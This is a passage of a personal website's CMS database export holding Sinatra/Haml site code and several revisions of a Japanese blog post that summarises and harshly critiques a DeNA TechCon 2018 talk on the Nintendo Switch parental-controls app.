raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2017-11-15T17:40:11.000Z","updated_at":"2017-11-15T17:40:11.000Z"},{"id":3034,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.1.0.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2017-12-04T06:38:43.000Z","updated_at":"2017-12-04T06:38:43.000Z"},{"id":3035,"name":"text/dena_techcon_2018_switch","body":"%blog% DeNA TechCon 2018 『『Nintendo みまもり Switch』を支える技術』 の内容紹介と感想\r\n\r\nそういうわけで [https://techcon.dena.com/](https://techcon.dena.com/) にいってきました。\r\n\r\n表題の発表は、撮影および SNS での内容共有の禁止ということになっていたので、内容を個人サイトで共有致します。その場にいなかった方でこの記事を読んだ方であればこの記事およびその内容を SNS で共有することは一切禁じられないかと思いますのでよろしくお願いします。\r\n\r\n## 発表者\r\n\r\n- DeNA\r\n - 堀、平賀 \r\n- 任天堂\r\n - 名前メモし忘れた\r\n\r\n公開されたスケジュールでは堀および平賀による発表ということになっていたが、任天堂の何者かが急遽参加したということだった。おそらく技術者ではなく広報の人。\r\n\r\n## サービス紹介 (任天堂の人)\r\n\r\nサービス内容については検索すれば分かることを普通にしゃべり、クッパがサービスを使うあの動画を流すだけ、なにしにきたんだコイツ)\r\n\r\n## 開発体制 (堀)\r\n\r\n任天堂は企画、ディレクション、 Switch のサーバーなど\r\nDeNAは企画サポート、サービス固有のサーバーやアプリなど\r\n\r\n実際にはぱきっと分かれてたわけでもなく相互にいろいろやってた。\r\n\r\n## 開発プロセス (堀)\r\n\r\nSwitch の開発がいるのがプロセスとしての特徴的な点。 FW のケツがはやかったので配慮が必要だった。\r\n\r\nプロトタイピングはかなり気合入れた。機能をほぼ作り込んでユーザーテストを実行。\r\n\r\n検証とフィードバックは開発中繰り返した。\r\n\r\n#### 開発のハードル\r\n\r\n- コンセプトの共有は難しい。\r\n - 親にACアダプタ隠されたとかない人に伝えるのは難しい。\r\n - ゲームやる時間とか自分でコントロールできてた人もいる。\r\n\r\n*(ssig33 の感想: この辺悪ガキだった経験ない人にはたしかにめっちゃ難しそう、そしてそういう優等生タイプの人がチームにたくさんいたのだという部分について意外に思う、が今の DeNA はそういう会社ということなのだろう)*\r\n\r\n行動分析、ペルソナ設計などなどやっていった\r\n\r\n#### 利用者の多様性という問題\r\n\r\nSwitch はグローバルに売られるもの。法律、文化は国ごとに違う。成人年齢ももちろん国によって違う。概してペアレンタルコントロールについて海外のほうが日本よりキツい。\r\n\r\nデバイス間のペアリングというのは一般的にかなり難しい作業。非パワーユーザーにここ理解させるのは難しい。\r\n\r\nドックフーディング会を多々開催。任天堂海外ブランチがあるのでそこにも協力してもらった。 QA 部門からのフィードバックも受けた。\r\n\r\n#### 多拠点\r\n\r\n任天堂は京都、 DeNA は東京、任天堂海外ブランチも関与という体制。\r\n\r\nプロトタイピング期間は合宿を開催。開発中はテレビ会議を多用するほか出張も多々あり。合宿も続けて定期的に開催した。\r\n\r\n開発プロセスにおいて銀の弾丸はないというのを改めて実感したとのこと。\r\n\r\n## Switchとアプリの連携 (平賀)\r\n\r\nおもにサーバーサイドの話。\r\n\r\n*(ssig33 の感想:この話をしたエンジニアの話し方が異様にすっトロくて時間も大幅にオーバーしていた上に内容も「まあそりゃだれがやってもこうでは、、、」というものでかなり悪印象。)*\r\n\r\n嫌がらせ(この記事を書く行為)のために聞いていたのだが、この辺からもうだるくなってきたので以下適当な箇条書き。\r\n\r\n- スマホからみまもり設定をするのだが、どのデータをマスターとすべきだろうか? =\u003e サーバーということになった。\r\n- アプリはサーバーに設定を送りつけ、 Switch はなるべくすみやかにサーバーから拾ってきて適用する\r\n- Switch には Switch 用の通知機構があるので、それで設定更新を通知している\r\n- 本当にシンプルにつくって以下のような課題があった\r\n - なるべく即時反映してほしいがそうならない\r\n - おそらく当初の「シンプル」な実装には通知機構の利用が含まれていなかったものと思うがそのあたり言及なし\r\n - オフラインの Switch には設定を反映させられない\r\n - *(ssig33 の感想: 前段において「サーバーをマスターにする」云々の話をわざわざしたというのは、ユーザー家庭内のネットワーク(WiFi や BT)で Switch とスマホを直結してみまもり設定を更新するという実装にすればオフライン問題は解決する。一方で利用難易度や典型的な状況での可用性は悪化するだろう。このあたりにいろいろ仕様決定の上で葛藤があったのだと思う。)*\r\n - 反映状況をユーザーに見せたいが難しい\r\n\r\nその上で最終仕様は以下の通り\r\n\r\n- 保存ボタン押されると反映中とアプリに出る、しばらく出る、Switchにデータ行ったらその場で終わったと出す\r\n- 規定の時間が経過して反映されなかったら「ダメだった」とアプリに出す\r\n- Switch がオンラインとなり設定が反映されるとスマホにプッシュ通知\r\n\r\n以下のような実装\r\n\r\n- サーバーには「設定」というリソースと「設定反映ステート」というリソースが定義されている。\r\n- アプリは「反映中」と出してる間ステートリソースをポーリングする\r\n- Switch は通知が来たら設定リソースを取りにいく\r\n- 「デバイス(Switch)」というリソースもあるのだが、これ更新をフックしてステートリソースは「同期済み」というステートになる。\r\n - ポーリングしていて「同期済み」になったら「反映完了」がでるという仕組み\r\n- 一方で規定時間が過ぎて「ダメだった」と出したタイミングでステートは「ペンディング」になる\r\n- 「ペンディング」から「同期済み」になったタイミングでプッシュ通知をする\r\n\r\n各種の操作された時間とかを E-Tag でやり取りしているとのことだった。 *(ssig33 の感想: REST っぽい API 用意してやるほうが遥かに簡単そうだがなぜこうなったのか、、、)*\r\n\r\n#### 「遊んだ時間」 という機能は GCP の Cloud Dataflow を活用しているというおはなし\r\n\r\nSwitch 側は以下のようになっている\r\n\r\n- Switch が各種ログをサーバーに送る\r\n - ソフトの起動\r\n - 今日これまでの起動時間\r\n - 暗証番号ミスった\r\n - などなど\r\n\r\nそれを用いて「デバイスごと」「ソフトウェアごと」に起動していた時間を記録する。\r\n\r\n初期実装は以下のようなもの\r\n\r\n- エンドポイントは GAE\r\n- タスクキューを経由して BigQuery に保存\r\n- MapReduce で集計する\r\n\r\nこの実装の問題点は以下\r\n\r\n- MapReduce の性質上即時更新できない\r\n- MapReduce がリソースバカ食いする\r\n- MapReduce のサポートが GAE で終了\r\n\r\nそこで Cloud Dataflow のストリームパイプラインを使った\r\n\r\n- エンドポイントは Google Cloud Pub/Sub\r\n- Pub/Sub から Dataflow のストリームパイプラインに\r\n- パイプラインは BigQuery に全データを入れつつリアルタイムに集計\r\n - 何故集計もするのに BigQuery にもデータを入れるのか?それは全データが BigQuery にあるとデバッグや開発になにかと便利であるのと、バックアップストレージとしても有用だから\r\n\r\nこれでやってみて\r\n\r\n- セッションウィンドウが便利だった\r\n- 結果的にほぼリアルタイムに集計されるようになった\r\n- 使用リソースは激減、ワーカーが 1 個になった\r\n- 処理プロセスが可視化された\r\n - 開発や運用、障害対応が改善\r\n- シーケンシャルな時系列データの処理は Cloud Dataflow とマジでマッチしていた\r\n- ストリームとバッチでコード共有できるのもよい\r\n- モニタリングコストも削減された\r\n\r\n## アプリの話 (堀)\r\n\r\nサーバーサイドの話が大幅に時間オーバーしたためかなりかっとばし気味。\r\n\r\n- ロジックはサーバーに寄せてる\r\n- 認証は内製 SDK\r\n- ライブラリの管理とかも普通\r\n- CD に fastlane\r\n- クライアントは直接 Switch 見ない\r\n- Switchの状態で通知とかはあるよ\r\n- MVVM で RxSwift 使った\r\n - リトライやポーリングで便利\r\n\r\n*(ssig33 の感想: アプリについては「とにかく普通」という印象。「普通です」というようなことも実際言っていた)*\r\n\r\n#### ローカライズの話\r\n\r\n- 10言語とか対応した。ローカライズは業務フローから設計する必要あり。\r\n- 翻訳は任天堂が対応、任天堂に翻訳作業の環境があった。\r\n- SVN に独自フォーマットの XML が入ってて、その XML をいじる Windows アプリがあるというもの。\r\n- それ使うにしてもアプリでは?その XML に記載されているものをどのように読めばいいのか?\r\n - ゲームではマスターをサーバーからロードとかがありがち\r\n - 今回はアプリのバイナリに入れた\r\n - 実用アプリでロードがはいるのは UX を毀損する、またデータ読み込みがエラーをおこして欠損があったときにダルい。\r\n- rubygem 作って xml パースして各種モバイルアプリ用のリソースにするものを作った\r\n\r\n実機検証の効率化には以下のような工夫が\r\n\r\n- いちいちビルドするのがタルいという問題意識\r\n- ライブラリ作った\r\n- ランタイムでリソース入れ替え\r\n- ユーザーが見えるとこにリソース吐いて書き換えられるようにした\r\n - iTunes 経由とかでその場で書き換えながら作業してたとのこと \r\n- ローカライズ作業専用ビルド作って翻訳者に渡した\r\n - リリース版アプリでリソース入れ替えて遊ぶとかはできないようだ。\r\n\r\n画像のローカライズの話\r\n\r\n- 画像に書かれてるものは↑の手法が適用できないので言語ごとに画像を作った\r\n- 画像は大きいので webp をつかった。\r\n - *(ssig33 の感想: ウェッピーってちゃんと発音してて好印象)*\r\n- png の 1/15 とかになってすごい\r\n- 300KB の画像が 20KB になるのって意味あるの? =\u003e とにかく画像が多いので全体では効いた\r\n\r\n\r\n\r\n## 発表全体の感想\r\n\r\n正直これらを誰が作ってもこうなるだろうというもので「SNS 共有禁止」とするのは謎すぎる。\r\n\r\nまた「SNS 共有禁止」というのも謎。俺がこうやって個人サイトに書いて、その内容をさらに別の人が SNS に共有すれば問題ないし、そのように共有された場合内容がさらに劣化されて市中に流布することになる。\r\n\r\n普通に公開下とするか、一切外部で共有禁止とすべきなのではないか。\r\n\r\n任天堂の広報はクソ。頭悪すぎると思う。\r\n\r\n\r\n## イベント全体の感想\r\n\r\nこの発表を行なった平賀氏以外にも特に新卒 2-3 年目の技術者を中心に発表の練習不足が目立つ。内容どうこう以前の問題。部署内の勉強会とかで事前に一度でも発表してればあんなことにならないだろうと思う。正直 DeNA 内部での教育にはかなり不安を感じる。\r\n\r\nDeNA においていわゆるトップ層の技術者がそこまで層が薄くなっているという話はあまり聞いていないのだが、裾野はかなり荒廃している可能性があると感じるイベントだった。この内容で「おっしゃ DeNA に転職するか!!!」とはならないんではないか。 LINE の開発者イベントとか見習ったほうがいい。","created_at":"2018-02-09T01:51:50.000Z","updated_at":"2018-02-09T01:51:50.000Z"},{"id":3036,"name":"text/dena_techcon_2018_switch","body":"%blog% DeNA TechCon 2018 『『Nintendo みまもり Switch』を支える技術』 の内容紹介と感想\r\n\r\nそういうわけで [https://techcon.dena.com/](https://techcon.dena.com/) にいってきました。\r\n\r\n表題の発表は、撮影および SNS での内容共有の禁止ということになっていたので、内容を個人サイトで共有致します。その場にいなかった方でこの記事を読んだ方であればこの記事およびその内容を SNS で共有することは一切禁じられないかと思いますのでよろしくお願いします。\r\n\r\n## 発表者\r\n\r\n- DeNA\r\n - 堀、平賀 \r\n- 任天堂\r\n - 名前メモし忘れた\r\n\r\n公開されたスケジュールでは堀および平賀による発表ということになっていたが、任天堂の何者かが急遽参加したということだった。おそらく技術者ではなく広報の人。\r\n\r\n## サービス紹介 (任天堂の人)\r\n\r\nサービス内容については検索すれば分かることを普通にしゃべり、クッパがサービスを使うあの動画を流すだけ、なにしにきたんだコイツ)\r\n\r\n## 開発体制 (堀)\r\n\r\n任天堂は企画、ディレクション、 Switch のサーバーなど\r\nDeNAは企画サポート、サービス固有のサーバーやアプリなど\r\n\r\n実際にはぱきっと分かれてたわけでもなく相互にいろいろやってた。\r\n\r\n## 開発プロセス (堀)\r\n\r\nSwitch の開発がいるのがプロセスとしての特徴的な点。 FW のケツがはやかったので配慮が必要だった。\r\n\r\nプロトタイピングはかなり気合入れた。機能をほぼ作り込んでユーザーテストを実行。\r\n\r\n検証とフィードバックは開発中繰り返した。\r\n\r\n#### 開発のハードル\r\n\r\n- コンセプトの共有は難しい。\r\n - 親にACアダプタ隠されたとかない人に伝えるのは難しい。\r\n - ゲームやる時間とか自分でコントロールできてた人もいる。\r\n\r\n*(ssig33 の感想: この辺悪ガキだった経験ない人にはたしかにめっちゃ難しそう、そしてそういう優等生タイプの人がチームにたくさんいたのだという部分について意外に思う、が今の DeNA はそういう会社ということなのだろう)*\r\n\r\n行動分析、ペルソナ設計などなどやっていった\r\n\r\n#### 利用者の多様性という問題\r\n\r\nSwitch はグローバルに売られるもの。法律、文化は国ごとに違う。成人年齢ももちろん国によって違う。概してペアレンタルコントロールについて海外のほうが日本よりキツい。\r\n\r\nデバイス間のペアリングというのは一般的にかなり難しい作業。非パワーユーザーにここ理解させるのは難しい。\r\n\r\nドックフーディング会を多々開催。任天堂海外ブランチがあるのでそこにも協力してもらった。 QA 部門からのフィードバックも受けた。\r\n\r\n#### 多拠点\r\n\r\n任天堂は京都、 DeNA は東京、任天堂海外ブランチも関与という体制。\r\n\r\nプロトタイピング期間は合宿を開催。開発中はテレビ会議を多用するほか出張も多々あり。合宿も続けて定期的に開催した。\r\n\r\n開発プロセスにおいて銀の弾丸はないというのを改めて実感したとのこと。\r\n\r\n## Switchとアプリの連携 (平賀)\r\n\r\nおもにサーバーサイドの話。\r\n\r\n*(ssig33 の感想:この話をしたエンジニアの話し方が異様にすっトロくて時間も大幅にオーバーしていた上に内容も「まあそりゃだれがやってもこうでは、、、」というものでかなり悪印象。)*\r\n\r\n嫌がらせ(この記事を書く行為)のために聞いていたのだが、この辺からもうだるくなってきたので以下適当な箇条書き。\r\n\r\n- スマホからみまもり設定をするのだが、どのデータをマスターとすべきだろうか? =\u003e サーバーということになった。\r\n- アプリはサーバーに設定を送りつけ、 Switch はなるべくすみやかにサーバーから拾ってきて適用する\r\n- Switch には Switch 用の通知機構があるので、それで設定更新を通知している\r\n- 本当にシンプルにつくって以下のような課題があった\r\n - なるべく即時反映してほしいがそうならない\r\n - おそらく当初の「シンプル」な実装には通知機構の利用が含まれていなかったものと思うがそのあたり言及なし\r\n - オフラインの Switch には設定を反映させられない\r\n - *(ssig33 の感想: 前段において「サーバーをマスターにする」云々の話をわざわざしたというのは、ユーザー家庭内のネットワーク(WiFi や BT)で Switch とスマホを直結してみまもり設定を更新するという実装にすればオフライン問題は解決する。一方で利用難易度や典型的な状況での可用性は悪化するだろう。このあたりにいろいろ仕様決定の上で葛藤があったのだと思う。)*\r\n - 反映状況をユーザーに見せたいが難しい\r\n\r\nその上で最終仕様は以下の通り\r\n\r\n- 保存ボタン押されると反映中とアプリに出る、しばらく出る、Switchにデータ行ったらその場で終わったと出す\r\n- 規定の時間が経過して反映されなかったら「ダメだった」とアプリに出す\r\n- Switch がオンラインとなり設定が反映されるとスマホにプッシュ通知\r\n\r\n以下のような実装\r\n\r\n- サーバーには「設定」というリソースと「設定反映ステート」というリソースが定義されている。\r\n- アプリは「反映中」と出してる間ステートリソースをポーリングする\r\n- Switch は通知が来たら設定リソースを取りにいく\r\n- 「デバイス(Switch)」というリソースもあるのだが、これ更新をフックしてステートリソースは「同期済み」というステートになる。\r\n - ポーリングしていて「同期済み」になったら「反映完了」がでるという仕組み\r\n- 一方で規定時間が過ぎて「ダメだった」と出したタイミングでステートは「ペンディング」になる\r\n- 「ペンディング」から「同期済み」になったタイミングでプッシュ通知をする\r\n\r\n各種の操作された時間とかを E-Tag でやり取りしているとのことだった。 *(ssig33 の感想: REST っぽい API 用意してやるほうが遥かに簡単そうだがなぜこうなったのか、、、)*\r\n\r\n#### 「遊んだ時間」 という機能は GCP の Cloud Dataflow を活用しているというおはなし\r\n\r\nSwitch 側は以下のようになっている\r\n\r\n- Switch が各種ログをサーバーに送る\r\n - ソフトの起動\r\n - 今日これまでの起動時間\r\n - 暗証番号ミスった\r\n - などなど\r\n\r\nそれを用いて「デバイスごと」「ソフトウェアごと」に起動していた時間を記録する。\r\n\r\n初期実装は以下のようなもの\r\n\r\n- エンドポイントは GAE\r\n- タスクキューを経由して BigQuery に保存\r\n- MapReduce で集計する\r\n\r\nこの実装の問題点は以下\r\n\r\n- MapReduce の性質上即時更新できない\r\n- MapReduce がリソースバカ食いする\r\n- MapReduce のサポートが GAE で終了\r\n\r\nそこで Cloud Dataflow のストリームパイプラインを使った\r\n\r\n- エンドポイントは Google Cloud Pub/Sub\r\n- Pub/Sub から Dataflow のストリームパイプラインに\r\n- パイプラインは BigQuery に全データを入れつつリアルタイムに集計\r\n - 何故集計もするのに BigQuery にもデータを入れるのか?それは全データが BigQuery にあるとデバッグや開発になにかと便利であるのと、バックアップストレージとしても有用だから\r\n\r\nこれでやってみて\r\n\r\n- セッションウィンドウが便利だった\r\n- 結果的にほぼリアルタイムに集計されるようになった\r\n- 使用リソースは激減、ワーカーが 1 個になった\r\n- 処理プロセスが可視化された\r\n - 開発や運用、障害対応が改善\r\n- シーケンシャルな時系列データの処理は Cloud Dataflow とマジでマッチしていた\r\n- ストリームとバッチでコード共有できるのもよい\r\n- モニタリングコストも削減された\r\n\r\n## アプリの話 (堀)\r\n\r\nサーバーサイドの話が大幅に時間オーバーしたためかなりかっとばし気味。\r\n\r\n- ロジックはサーバーに寄せてる\r\n- 認証は内製 SDK\r\n- ライブラリの管理とかも普通\r\n- CD に fastlane\r\n- クライアントは直接 Switch 見ない\r\n- Switchの状態で通知とかはあるよ\r\n- MVVM で RxSwift 使った\r\n - リトライやポーリングで便利\r\n\r\n*(ssig33 の感想: アプリについては「とにかく普通」という印象。「普通です」というようなことも実際言っていた)*\r\n\r\n#### ローカライズの話\r\n\r\n- 10言語とか対応した。ローカライズは業務フローから設計する必要あり。\r\n- 翻訳は任天堂が対応、任天堂に翻訳作業の環境があった。\r\n- SVN に独自フォーマットの XML が入ってて、その XML をいじる Windows アプリがあるというもの。\r\n- それ使うにしてもアプリでは?その XML に記載されているものをどのように読めばいいのか?\r\n - ゲームではマスターをサーバーからロードとかがありがち\r\n - 今回はアプリのバイナリに入れた\r\n - 実用アプリでロードがはいるのは UX を毀損する、またデータ読み込みがエラーをおこして欠損があったときにダルい。\r\n- rubygem 作って xml パースして各種モバイルアプリ用のリソースにするものを作った\r\n\r\n実機検証の効率化には以下のような工夫が\r\n\r\n- いちいちビルドするのがタルいという問題意識\r\n- ライブラリ作った\r\n- ランタイムでリソース入れ替え\r\n- ユーザーが見えるとこにリソース吐いて書き換えられるようにした\r\n - iTunes 経由とかでその場で書き換えながら作業してたとのこと \r\n- ローカライズ作業専用ビルド作って翻訳者に渡した\r\n - リリース版アプリでリソース入れ替えて遊ぶとかはできないようだ。\r\n\r\n画像のローカライズの話\r\n\r\n- 画像に書かれてるものは↑の手法が適用できないので言語ごとに画像を作った\r\n- 画像は大きいので webp をつかった。\r\n - *(ssig33 の感想: ウェッピーってちゃんと発音してて好印象)*\r\n- png の 1/15 とかになってすごい\r\n- 300KB の画像が 20KB になるのって意味あるの? =\u003e とにかく画像が多いので全体では効いた\r\n\r\n\r\n\r\n## 発表全体の感想\r\n\r\n正直これらを誰が作ってもこうなるだろうというもので「SNS 共有禁止」とするのは謎すぎる。\r\n\r\nまた「SNS 共有禁止」というのも謎。俺がこうやって個人サイトに書いて、その内容をさらに別の人が SNS に共有すれば問題ないし、そのように共有された場合内容がさらに劣化されて市中に流布することになる。\r\n\r\n普通に公開下とするか、一切外部で共有禁止とすべきなのではないか。\r\n\r\n任天堂の広報はクソ。頭悪すぎると思う。\r\n\r\n\r\n## イベント全体の感想\r\n\r\nこの発表を行なった平賀氏以外にも特に新卒 2-3 年目の技術者を中心に発表の練習不足が目立つ。内容どうこう以前の問題。部署内の勉強会とかで事前に一度でも発表してればあんなことにならないだろうと思う。正直 DeNA 内部での教育にはかなり不安を感じる。\r\n\r\nDeNA においていわゆるトップ層の技術者がそこまで層が薄くなっているという話はあまり聞いていないのだが、裾野はかなり荒廃している可能性があると感じるイベントだった。この内容で「おっしゃ DeNA に転職するか!!!」とはならないんではないか。 LINE の開発者イベントとか見習ったほうがいい。","created_at":"2018-02-09T01:53:24.000Z","updated_at":"2018-02-09T01:53:24.000Z"},{"id":3037,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.1.0.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2018-02-09T01:59:58.000Z","updated_at":"2018-02-09T01:59:58.000Z"},{"id":3038,"name":"text/dena_techcon_2018_switch","body":"%blog% DeNA TechCon 2018 『『Nintendo みまもり Switch』を支える技術』 の内容紹介と感想\r\n\r\nそういうわけで [https://techcon.dena.com/](https://techcon.dena.com/) にいってきました。\r\n\r\n表題の発表は、撮影および SNS での内容共有の禁止ということになっていたので、内容を個人サイトで共有致します。その場にいなかった方でこの記事を読んだ方であればこの記事およびその内容を SNS で共有することは一切禁じられないかと思いますのでよろしくお願いします。\r\n\r\n## 発表者\r\n\r\n- DeNA\r\n - 堀、平賀 \r\n- 任天堂\r\n - 名前メモし忘れた\r\n\r\n公開されたスケジュールでは堀および平賀による発表ということになっていたが、任天堂の何者かが急遽参加したということだった。おそらく技術者ではなく広報の人。\r\n\r\n## サービス紹介 (任天堂の人)\r\n\r\nサービス内容については検索すれば分かることを普通にしゃべり、クッパがサービスを使うあの動画を流すだけ、なにしにきたんだコイツ\r\n\r\n## 開発体制 (堀)\r\n\r\n任天堂は企画、ディレクション、 Switch のサーバーなど\r\nDeNAは企画サポート、サービス固有のサーバーやアプリなど\r\n\r\n実際にはぱきっと分かれてたわけでもなく相互にいろいろやってた。\r\n\r\n## 開発プロセス (堀)\r\n\r\nSwitch の開発がいるのがプロセスとしての特徴的な点。 FW のケツがはやかったので配慮が必要だった。\r\n\r\nプロトタイピングはかなり気合入れた。機能をほぼ作り込んでユーザーテストを実行。\r\n\r\n検証とフィードバックは開発中繰り返した。\r\n\r\n#### 開発のハードル\r\n\r\n- コンセプトの共有は難しい。\r\n - 親にACアダプタ隠されたとかない人に伝えるのは難しい。\r\n - ゲームやる時間とか自分でコントロールできてた人もいる。\r\n\r\n*(ssig33 の感想: この辺悪ガキだった経験ない人にはたしかにめっちゃ難しそう、そしてそういう優等生タイプの人がチームにたくさんいたのだという部分について意外に思う、が今の DeNA はそういう会社ということなのだろう)*\r\n\r\n行動分析、ペルソナ設計などなどやっていった\r\n\r\n#### 利用者の多様性という問題\r\n\r\nSwitch はグローバルに売られるもの。法律、文化は国ごとに違う。成人年齢ももちろん国によって違う。概してペアレンタルコントロールについて海外のほうが日本よりキツい。\r\n\r\nデバイス間のペアリングというのは一般的にかなり難しい作業。非パワーユーザーにここ理解させるのは難しい。\r\n\r\nドックフーディング会を多々開催。任天堂海外ブランチがあるのでそこにも協力してもらった。 QA 部門からのフィードバックも受けた。\r\n\r\n#### 多拠点\r\n\r\n任天堂は京都、 DeNA は東京、任天堂海外ブランチも関与という体制。\r\n\r\nプロトタイピング期間は合宿を開催。開発中はテレビ会議を多用するほか出張も多々あり。合宿も続けて定期的に開催した。\r\n\r\n開発プロセスにおいて銀の弾丸はないというのを改めて実感したとのこと。\r\n\r\n## Switchとアプリの連携 (平賀)\r\n\r\nおもにサーバーサイドの話。\r\n\r\n*(ssig33 の感想:この話をしたエンジニアの話し方が異様にすっトロくて時間も大幅にオーバーしていた上に内容も「まあそりゃだれがやってもこうでは、、、」というものでかなり悪印象。)*\r\n\r\n嫌がらせ(この記事を書く行為)のために聞いていたのだが、この辺からもうだるくなってきたので以下適当な箇条書き。\r\n\r\n- スマホからみまもり設定をするのだが、どのデータをマスターとすべきだろうか? =\u003e サーバーということになった。\r\n- アプリはサーバーに設定を送りつけ、 Switch はなるべくすみやかにサーバーから拾ってきて適用する\r\n- Switch には Switch 用の通知機構があるので、それで設定更新を通知している\r\n- 本当にシンプルにつくって以下のような課題があった\r\n - なるべく即時反映してほしいがそうならない\r\n - おそらく当初の「シンプル」な実装には通知機構の利用が含まれていなかったものと思うがそのあたり言及なし\r\n - オフラインの Switch には設定を反映させられない\r\n - *(ssig33 の感想: 前段において「サーバーをマスターにする」云々の話をわざわざしたというのは、ユーザー家庭内のネットワーク(WiFi や BT)で Switch とスマホを直結してみまもり設定を更新するという実装にすればオフライン問題は解決する。一方で利用難易度や典型的な状況での可用性は悪化するだろう。このあたりにいろいろ仕様決定の上で葛藤があったのだと思う。)*\r\n - 反映状況をユーザーに見せたいが難しい\r\n\r\nその上で最終仕様は以下の通り\r\n\r\n- 保存ボタン押されると反映中とアプリに出る、しばらく出る、Switchにデータ行ったらその場で終わったと出す\r\n- 規定の時間が経過して反映されなかったら「ダメだった」とアプリに出す\r\n- Switch がオンラインとなり設定が反映されるとスマホにプッシュ通知\r\n\r\n以下のような実装\r\n\r\n- サーバーには「設定」というリソースと「設定反映ステート」というリソースが定義されている。\r\n- アプリは「反映中」と出してる間ステートリソースをポーリングする\r\n- Switch は通知が来たら設定リソースを取りにいく\r\n- 